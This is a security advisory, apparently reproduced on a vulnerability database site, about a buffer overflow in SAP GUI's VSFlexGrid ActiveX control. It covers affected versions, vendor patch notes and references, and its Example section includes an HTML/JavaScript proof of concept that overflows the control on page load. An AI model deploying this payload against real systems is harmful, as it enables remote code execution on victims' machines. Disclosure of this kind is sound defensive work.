SAP GUI VSFlexGrid.VSFlexGridL sp 14 - Remote Buffer Overflow

🗓️ 26 Nov 2008 00:00:00Reported by Elazar BroadType

SAP GUI VSFlexGrid.VSFlexGridL sp 14 - Remote Buffer Overflow. Vulnerable ActiveX component allows remote attackers to execute arbitrary code via a long parameter to the "Archive" function

Application:                    SAP GUI VSFlexGrid.VSFlexGridL (Part of SAP GUI, SAP BO 2005, SAP BO 2007 )
Versions Affected:              SAP GUI VSFlexGrid Activex Control sp<=14
Vendor URL:                     http://SAP.com
Bugs:                           Buffer Overflovw
Exploits:                       YES
Reported:                       26.11.2008
Vendor response:                27.11.208
Public Advisory:                06.10.2009
Originaly found by:             Elazar Broad
Author:                         Alexander Polyakov from Digital Security Research Group [DSecRG]

Description
***********

Component VSFlexGrid vulnerable to Buffer Overflow which was published in 2007 and not patched in SAPGUI untill this moment.
This component and included in default SAPGUI installation.

Details
*******

Information about this vulnerability in public since 2007 (https://www.securityfocus.com/bid/26467/info)
We found that wulnerable component VSFlexGrid is still not patched and is using in default SAP GUI Client installations

Tested on:
 SAP Business One 2007  Client
 SAP Business One 2005 Client
 SAP GUI 7.10 (7100.2.7.1038)


So every SAP client is vulnerable to remote buffer overflow. 


Attacker can construct html page which call vulnerable function "Acrchive" from ActiveX Object VSFlex7L 
with long parameter "ArcFileName".



ActiveX component:      VSFlexGrid 
path:                   c:\program files\sap\frontend\sapgui\vsflex7l.ocx
object classid:         C0A63B86-4B21-11D3-BD95-D426EF2C7949


prototype  = "Sub Archive ( ByVal ArcFileName As String ,  ByVal FileName As String ,  ByVal Action As ArchiveSettings )"
memberName = "Archive"
progid     = "VSFlex7L.VSFlexGrid"
argCount   = 3


Example
*******

from 

<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";

     while (s.length < 262145) s=s+s;
  
     var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");
     
     obj.Text = s;
     obj.EditSelText = s; 
     obj.EditText = s;
     obj.CellFontName = s;
   }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>




Fix Information
***************
SAP have two different SAP notes to address this issue:

FOR SAP Business One Client 
        The security issue is addressed with SAP note 1327004 (patch was released on July 8, 2009)
For SAP GUI
         The security issue is addressed with SAP note 1092631 (patch was released on July 25, 2008)



References
**********

http://dsecrg.com/pages/vul/show.php?id=117
https://service.sap.com/sap/support/notes/1327004
https://service.sap.com/sap/support/notes/1092631
https://www.securityfocus.com/bid/26467/info


About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com










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Digital Security Research Group [DSecRG]
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26 Nov 2008 00:00Current

7High risk

Vulners AI Score7